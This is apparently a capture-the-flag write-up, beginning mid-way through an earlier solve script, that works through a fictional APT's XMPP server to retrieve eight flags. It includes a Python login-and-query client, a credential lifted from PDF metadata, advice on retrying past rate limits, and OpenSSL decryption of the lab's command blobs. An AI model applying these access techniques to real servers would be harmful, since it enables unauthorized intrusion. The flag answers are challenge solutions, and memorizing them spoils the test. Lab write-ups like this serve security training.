    s = socket.create_connection(('154.57.164.82', 32179), 10); s.settimeout(45)
    s.sendall(auth)
    marker = s.recv(1)[0]                       # 48 = g.e
    connid, _skip, ipbytes = s.recv(4), s.recv(4), s.recv(8)
    state['connid'] = connid
    time.sleep(1); s.close()

def relay():
    while 'connid' not in state: time.sleep(0.05)
    s = socket.create_connection(('154.57.164.82', 31139), 8); s.settimeout(15)
    s.sendall(state['connid'])
    print(s.recv(4096).decode())
    s.close()

t1, t2 = threading.Thread(target=primary), threading.Thread(target=relay)
t1.start(); t2.start(); t1.join(); t2.join()
GET http://198.51.100.7/relay/enroll?relayId=00005bp&role=drone-control
    &latitude=51.4997000&longitude=-0.1608000 HTTP/1.1

Flag 20: 51.4997000,-0.1608000 — the coordinates were embedded verbatim in the relayed HTTP request, not something to be geocoded from the story's flavor text (an OSINT guess at "Pavilion Road car park" was tried first and was wrong; the live network answer was correct).

Flag

See the Flags table above — 20 independent flags, no single combined flag for this Sherlock.

Whisper Chain

Summary

A live Prosody XMPP server (murknet.htb @ 10.129.1.8) is the C2/coordination hub of the "MurkNet" APT. The solve is: enumerate the server → self-register (in-band registration is open) → recover a member credential leaked in a PDF's metadata → read the private operation rooms and the command.murknet.htb PubSub dispatcher → recover the threat-intel blog from the Wayback Machine (its live domain is dead) → use the leaked decrypt_command.sh parameters to decrypt the operators' directives.

All 8 flags solved. The two things that unblock the "hard half" (flags 4/5/7):

  1. The story blog security.billblog.co.uk is archived on web.archive.org even though

the domain no longer resolves.

  1. The directives are OpenSSL Salted__ blobs decrypted with **AES-256-CBC, PBKDF2,

-iter 120000, -md sha256 and two rotated keys**: BLACKFENLOTTE (old) for the first operation, SHALLOWBLUE (rotated) for the later one.


Environment & Access (read this first)

  • Ports: 22, 443 (nginx, decoy site), 5222 (c2s STARTTLS), 5269 (s2s), 5281 (BOSH / httpfileshare).
  • The box is FLAKY. ~50% of TLS handshakes time out or RST. This is not a ban —

just retry the login a handful of times and one gets through. Do not mass-brute (that does trip a temporary block).

  • TLS gotcha: wrap the STARTTLS socket with server_hostname=None (no SNI) and

CERT_NONE, or the handshake resets.

  • Auth: SASL PLAIN over STARTTLS. In-band registration is open, so you can register a

throwaway to read the public rooms before you have a real member credential.

  • .htb names don't resolve — use curl --resolve host:443:10.129.1.8 (or /etc/hosts),

and keep SNI = murknet.htb (the only cert the box serves).

Reusable XMPP client used throughout (robust against the flaky TLS — one fresh connection per query, retried until it lands):

# xc.py — login + query one PubSub node, retrying through the flaky TLS
import socket, ssl, time, base64, uuid, sys, html
HOST, DOMAIN = '10.129.1.8', 'murknet.htb'
U, P = 'zytglogge88', 'TickTock24!'          # member creds (see Flag 3)

def readuntil(s, marks, t=10.0):
    if isinstance(marks, bytes): marks = [marks]
    s.settimeout(t); buf = b''; t0 = time.time()
    while time.time() - t0 < t:
        try:
            c = s.recv(32768)
            if not c: break
            buf += c
            if any(m in buf for m in marks): break
        except Exception: break
    return buf

def fetch_node(node):
    s = socket.socket(); s.settimeout(12); s.connect((HOST, 5222))
    s.sendall(f"<?xml version='1.0'?><stream:stream xmlns='jabber:client' "
              f"xmlns:stream='http://etherx.jabber.org/streams' to='{DOMAIN}' version='1.0'>".encode())
    readuntil(s, b'</stream:features>')
    s.sendall(b"<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>")
    if b'proceed' not in readuntil(s, b'proceed'): s.close(); return None
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT); ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE
    ss = ctx.wrap_socket(s, server_hostname=None)                       # NO SNI
    ss.sendall(f"<?xml version='1.0'?><stream:stream xmlns='jabber:client' "
               f"xmlns:stream='http://etherx.jabber.org/streams' to='{DOMAIN}' version='1.0'>".encode())
    readuntil(ss, b'</stream:features>')
    tok = base64.b64encode(b'\x00' + U.encode() + b'\x00' + P.encode()).decode()
    ss.sendall(f"<auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='PLAIN'>{tok}</auth>".encode())
    if b'success' not in readuntil(ss, b'>', 5.0): ss.close(); return None
    res = 'r' + uuid.uuid4().hex[:6]
    ss.sendall(f"<?xml version='1.0'?><stream:stream xmlns='jabber:client' "
               f"xmlns:stream='http://etherx.jabber.org/streams' to='{DOMAIN}' version='1.0'>".encode())
    readuntil(ss, b'</stream:features>')
    ss.sendall(f"<iq type='set' id='b1'><bind xmlns='urn:ietf:params:xml:ns:xmpp-bind'>"
               f"<resource>{res}</resource></bind></iq>".encode())
    readuntil(ss, b'</iq>', 6.0)
    i = uuid.uuid4().hex[:6]
    ss.sendall(f"<iq type='get' id='{i}' to='command.murknet.htb'>"
               f"<pubsub xmlns='http://jabber.org/protocol/pubsub'><items node='{node}'/></pubsub></iq>".encode())
    r = readuntil(ss, [b'</iq>'], 14.0).decode('utf8', 'replace')
    ss.close(); return r

def robust(node, tries=30):
    for _ in range(tries):
        try:
            r = fetch_node(node)
            if r and ('urn:murknet:command' in r or '<error' in r): return r
        except Exception: pass
        time.sleep(2)
    return None

if __name__ == '__main__':
    print(html.unescape(robust(sys.argv[1])))

Flag 1 — TLS Subject Alternative Names

Primary hostname first, then remaining SANs alphabetically.
echo | openssl s_client -connect 10.129.1.8:443 -servername murknet.htb 2>/dev/null \
  | openssl x509 -noout -ext subjectAltName

Answer: murknet.htb,command.murknet.htb,groups.murknet.htb,upload.murknet.htb


Flag 2 — Public channels

All public channels, alphabetical — use the display NAMES, not the JIDs.

Register a throwaway (in-band), then disco#items on the MUC service groups.murknet.htb, then disco#info each room to read its display name:

# JIDs: infra / random / resources / rules @ groups.murknet.htb
# Display names come from each room's disco#info <identity name=...>

Answer: Infrastructure,Random,Resources,Rules


Flag 3 — APT member credentials (email:password)

Credentials of one APT member.

Two links have to be joined:

  1. In the Infrastructure room, rattlesnake pastes historical temp passwords

(KillBill2025! K4w4Bong424! Northwind225! TickTock24!); doctor orders everyone to rotate. swissclock replies "will do soon" — i.e. never rotates.

  1. In the Resources room (141 msgs — an incomplete MAM pull earlier made it look empty,

so always pull room history fully), swissclock shares Operational_Onboarding_Guide_v3.2.pdf on upload.murknet.htb. Its PDF metadata leaks the author:

exiftool Operational_Onboarding_Guide_v3.2.pdf | grep -iE 'author|creator'
# Creator: swissclock   Author: zytglogge88@murknet.htb   (Zytglogge = Bern clock tower)

swissclock = zytglogge88, never rotated the clock-themed temp password TickTock24!.

Answer: zytglogge88@murknet.htb:TickTock24! (verified working SASL login)


Flag 4 — Social-media account of an APT member

Format *****://************.***/********

The story references a blog http://security.billblog.co.uk/threat/BalanceRAT-analysis-and-attribution (posted by timothy in the op_sparkling room). The domain is dead and is not hosted on the box (:443 is a catch-all "echoes" decoy). It is archived on the Wayback Machine:

# Find the snapshot
curl -s "http://web.archive.org/cdx/search/cdx?url=security.billblog.co.uk*&output=text&limit=40"
# Fetch the article (id_ = raw, un-rewritten content)
curl -s "http://web.archive.org/web/20260805080606id_/http://security.billblog.co.uk/threat/BalanceRAT-analysis-and-attribution/" -o balancerat.html

The report ("Ghost Balance", Northbridge Threat Research) attributes BalanceRAT to the actor alias Porlock and, in "9. Final OSINT pivot," resolves them to a social profile:

@porlock — "Quiet machines keep better secrets."
Profile: https://stonedforums.htb/@porlock

Mask check: https(5) · stonedforums(12) · htb(3) · @porlock(8) — exact match.

Answer: https://stonedforums.htb/@porlock


The decryptor (unlocks Flags 5 & 7)

The command.murknet.htb PubSub nodes hold the operators' directives as base64 OpenSSL Salted__ blobs (urn:murknet:command). The blog's "More artifacts" section leaks the tool + parameters (decrypt_command.sh):

# AES-256-CBC, PBKDF2, 120000 iterations, SHA-256, base64 input
decrypt() { base64 -d | openssl enc -d -aes-256-cbc -pbkdf2 -iter 120000 -md sha256 -pass "pass:$1"; }

Two rotated keys are in play:

  • BLACKFENLOTTE — original key, used by the first operation (op_sparkling). Found

in the leaked script.

  • SHALLOWBLUE — the rotation, used by op_snatch. Given to swissclock by

rattlesnake in a DM ("We're rotating the key. The new key is SHALLOWBLUE"). It only works with the 120000-iteration parameters above — the missing iter count is why naive attempts fail.

Fetch the nodes with the client and pipe each <command-N> value through decrypt:

python3 xc.py op_sparkling   # 8 items -> decrypt with BLACKFENLOTTE
python3 xc.py op_snatch      # 10 items -> decrypt with SHALLOWBLUE

Flag 5 — XMR wallet used in the first operation

First operation = op_sparkling (BalanceRAT deployment).

Decrypting op_sparkling with BLACKFENLOTTE yields the full directive set, including:

Operation started
Evilginx server available at 185.203.11.109 - Use ONLY this server for phishing
BTC Addresses: 1BfQc4twbZrUSrtKdwW8TtSN6o1SUezWkX - 1BcanTJpHtyNnRvPFpuTqGwN1BcxuXKGpN - 1BHoNZGGAkpLaNmVHbYdnoyib8NgodSkRD
XMR Address: 429x3WVq1ucARGXx6NEwL4Sg4iowfW5ZWMAqEDErLxrWdg4ffkonB5tNxg85BKGjDqDQRfBERANhgf6DnGjjFyDR5L7uwye
...

Answer: 429x3WVq1ucARGXx6NEwL4Sg4iowfW5ZWMAqEDErLxrWdg4ffkonB5tNxg85BKGjDqDQRfBERANhgf6DnGjjFyDR5L7uwye


Flag 6 — Nickname of the affiliate who kidnapped Watson

From the op_snatch MUC room chat (join with history — maxstanzas — is more reliable than a MAM query here).

dynamite is the driver who physically abducts and transports Watson ("Fuel tank is full, plates replaced, interior cleaned", "remove the dashcam", "Delivery completed", "getting rid of anything that could connect me to today's drive"). spur is the guard who later panics and flees.

Answer: dynamite


Flag 7 — Where Watson was kidnapped

⚠️ Silvertown is where he was held, and gets rejected.

Decrypting op_snatch with SHALLOWBLUE gives the live abduction play-by-play:

Operation started
Watson just left his house and got into his car: a red Ford Fiesta with license plate WT609DXT
He just stopped at Pembridge Square
Watson got back in the car and turned onto Bayswater Road. Stay right on his heels!
He's about to enter Victoria Station. He must not reach the tracks. Act NOW      <-- the grab
Heading toward Silvertown, here are the coordinates: 51°30'17.6 N, 0°02'05.1 E.   <-- transport to hideout
Avoid Great Dover Street, it's full of police officers because of a demonstration.
Sector B. Row 6. Container number: 75JM77. Watchword: Chaos Is Order              <-- holding cell
Take the car to the junkyard. The junkyard is in Walton-on-Thames. Ask for Richard.
Start cleanup process IMMEDIATELY

He is seized as he is about to enter Victoria Station ("He must not reach the tracks. Act NOW"); Silvertown is only where he is subsequently held.

Answer: Victoria Station


Flag 8 — Latest operation name + objective

From the op_dominance room briefing (doctor).
[SUBJECT] OpDominance - Do NOT Ask Stupid Questions - Do NOT Fail
"Our objective has a name" ... "DIOGENES" ... "access to DIOGENES changes everything"

Answer: Dominance,DIOGENES


All flags

#QuestionAnswer
1TLS SANsmurknet.htb,command.murknet.htb,groups.murknet.htb,upload.murknet.htb
2Public channelsInfrastructure,Random,Resources,Rules
3Member credszytglogge88@murknet.htb:TickTock24!
4Social-media URLhttps://stonedforums.htb/@porlock
5XMR wallet (first op)429x3WVq1ucARGXx6NEwL4Sg4iowfW5ZWMAqEDErLxrWdg4ffkonB5tNxg85BKGjDqDQRfBERANhgf6DnGjjFyDR5L7uwye
6Kidnapperdynamite
7Kidnap locationVictoria Station
8Latest op + objectiveDominance,DIOGENES

Guidelines / lessons learned

  • Pull MAM history completely. The first, incomplete pull made Resources look empty

and hid the flag-3 PDF. Re-pull every room fully before concluding anything is empty.

  • Metadata is a credential. The onboarding PDF's Author field (zytglogge88) is the

whole of flag 3; the leaked temp passwords + "never rotated" gave the password.

  • A dead domain is not a dead lead. When security.billblog.co.uk didn't resolve and

wasn't on the box, the Wayback Machine (web.archive.org/cdx/...) had the full article. Always check CT logs (crt.sh) and web archives for story URLs.

  • Two keys, one KDF. Directives share the same OpenSSL recipe (`-pbkdf2 -iter 120000

-md sha256) but different passphrases per era — BLACKFENLOTTE (leaked in the blog's decrypt_command.sh) before the rotation, SHALLOWBLUE` (leaked in a DM) after it. Match the key to the operation's timeline.

  • Work around flaky infra, don't fight it. One connection per query, no SNI on the TLS

wrap, retry 20–30× — reliable. Mass auth attempts trip a temporary block; slow down.

  • Read the question precisely. Flag 7 distinguishes kidnapped (Victoria Station) from

held (Silvertown); the obvious PDF word is the wrong answer.

Waking the temple guardians...0%